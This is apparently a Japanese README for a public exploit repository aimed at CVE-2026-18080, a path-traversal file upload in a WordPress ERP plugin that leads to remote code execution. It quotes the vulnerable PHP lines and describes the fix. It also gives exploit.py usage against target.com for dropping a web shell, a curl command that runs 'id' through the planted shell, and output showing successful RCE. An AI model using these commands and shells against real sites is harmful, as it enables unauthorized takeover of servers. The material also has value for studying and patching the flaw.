
CVE-2026-18080 のエクスプロイト。ERP Complete HR、Accounting & CRM Suite における、認証なしの任意ファイルアップロードによる RCE につながる脆弱性です。自動化されたエクスプロイト用の Python および PHP スクリプトが含まれています。
| フィールド | 値 |
|---|
| CVE | https://nvd.nist.gov/vuln/detail/CVE-2026-18080 |
| Wordfence | https://www.wordfence.com/threat-intel/vulnerabilities/id/b9d11eb9-5e18-459f-a9d4-cccb1d593402 |
| パッチ | https://plugins.trac.wordpress.org/changeset/3656848/erp |
| CVSS | 9.8(Critical) |
| CWE | CWE-434(危険なタイプのファイルの無制限アップロード) |
| 影響を受けるバージョン | ERPプラグイン <= 1.17.7(1.17.8で修正済み) |
ERPプラグインのGmailSync.php内にあるsave_attachments()関数は、IMAPからの受信メール添付ファイルをパス正規化なしで処理します。攻撃者は../../plugins/shell.phpのようなファイル名と、プラグインの期待するパターンに一致する偽造されたReferencesヘッダーを含むメールを作成できます。cronベースのIMAP同期ジョブは、.htaccessで保護されたcrm-attachments/ディレクトリの外にあるwp-content/配下の任意の書き込み可能なパスにファイルを書き込みます。
GmailSync.php(v1.17.7)内:
$name = $item['name']; // basename()やパス正規化なし
$file = wp_check_filetype( $item['name'] );
// ...
$saved = $wp_filesystem->put_contents( $dir . $name, $item['data'] );
ファイル名../../plugins/shell.phpは$dir(wp-content/uploads/crm-attachments/)と連結され、wp-content/plugins/shell.phpに解決されます — PHP実行が許可されているディレクトリです。
修正版(v1.17.8)では、basename()によるディレクトリコンポーネントの除去、パス区切り文字の拒否、危険な拡張子のブロックを行うsanitize_attachment_filename()が追加されています。
python3 exploit.py -t https://wordpress.ddev.site
python3 exploit.py -t https://target.com --shell evil.php --path themes
python3 exploit.py -t https://target.com --phpinfo
アップロード成功後:
curl -X POST -d 'cmd=id' 'https://target.com/wp-content/plugins/cve-2026-18080.php'
RESULT: [{"name":"../../plugins/cve-2026-18080.php","slug":"../../plugins/cve-2026-18080.php","path":".../crm-attachments/../../plugins/cve-2026-18080.php"}]
SUCCESS: wp-content/plugins/cve-2026-18080.php (57 bytes)
RCE: uid=1000(god) gid=1000(god)
| ファイル | 説明 |
|---|---|
exploit.py | wp-cliを使用するPythonエクスプロイトスクリプト |
exploit.php | wp eval-file用のスタンドアロンPHPエクスプロイト |
README.md | このファイル |